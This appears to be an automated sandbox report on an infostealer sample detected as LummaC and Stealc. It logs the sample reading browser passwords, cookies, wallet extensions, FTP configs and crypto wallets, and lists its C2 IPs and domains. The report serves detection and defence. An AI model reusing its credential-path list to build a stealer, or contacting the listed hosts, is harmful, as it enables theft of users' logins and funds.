Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1613325520.0000000001349000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: oTZfvSwHTq.exe PID: 3164, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: oTZfvSwHTq.exe PID: 3164, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 3.2.9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe.540000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1918637136.0000000000541000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1921028506.0000000000B1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe PID: 4268, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 9_2_0096EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		9_2_0096EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 9_2_0096DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		9_2_0096DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	12 Process Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	1 Scheduled Task/Job	4 Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	Login Hook	12 Software Packing	NTDS	235 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	961 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	451 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	451 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
oTZfvSwHTq.exe	58%	Virustotal		Browse
oTZfvSwHTq.exe	61%	ReversingLabs	Win32.Trojan.Symmi
oTZfvSwHTq.exe	100%	Avira	TR/Crypt.XPACK.Gen
oTZfvSwHTq.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe	58%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe	47%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	58%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
http://185.215.113.206/c4becf79229cb002.php&~	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php/k	100%	Avira URL Cloud	malware
https://mindhandru.buzz/api%	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpncoded	100%	Avira URL Cloud	malware
https://mindhandru.buzz/ily	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpncoded/	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpR	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apiTU	100%	Avira URL Cloud	malware
https://mindhandru.buzz:443/apiCN	100%	Avira URL Cloud	malware
https://mindhandru.buzz:443/apil	100%	Avira URL Cloud	malware
https://imp.mt4	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpcodedR	100%	Avira URL Cloud	malware
https://mindhandru.buzz/IL	100%	Avira URL Cloud	malware
https://mindhandru.buzz/p$(	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpded=	100%	Avira URL Cloud	malware
https://mindhandru.buzz/86)	100%	Avira URL Cloud	malware
https://mindhandru.buzz/ms	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpz	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpi	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpn	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpR~	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mindhandru.buzz	172.67.165.185	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	false		high
scentniej.buzz	false		high
http://185.215.113.43/Zu7JuNko/index.php	true	Avira URL Cloud: malware	unknown
hummskitnj.buzz	false		high
mindhandru.buzz	false		high
https://mindhandru.buzz/api	false		high
rebuildeso.buzz	false		high
appliacnesot.buzz	false		high
screwamusresz.buzz	false		high
http://185.215.113.206/c4becf79229cb002.php	false		high
cashfuzysao.buzz	false		high
inherineau.buzz	false		high
prisonyfork.buzz	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.43/Zu7JuNko/index.phpU	skotes.exe, 00000009.00000002.2703742850.0000000001217000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpV	skotes.exe, 00000009.00000002.2703742850.0000000001217000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	oTZfvSwHTq.exe, 00000000.00000003.1507911959.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1507978442.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp, oTZfvSwHTq.exe, 00000000.00000003.1508060254.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php&~	9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe, 00000003.00000002.1921028506.0000000000B75000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpS	skotes.exe, 00000009.00000002.2703742850.00000000011FE000.00000004.00000020.00020000.00000000.sdmp	false		high
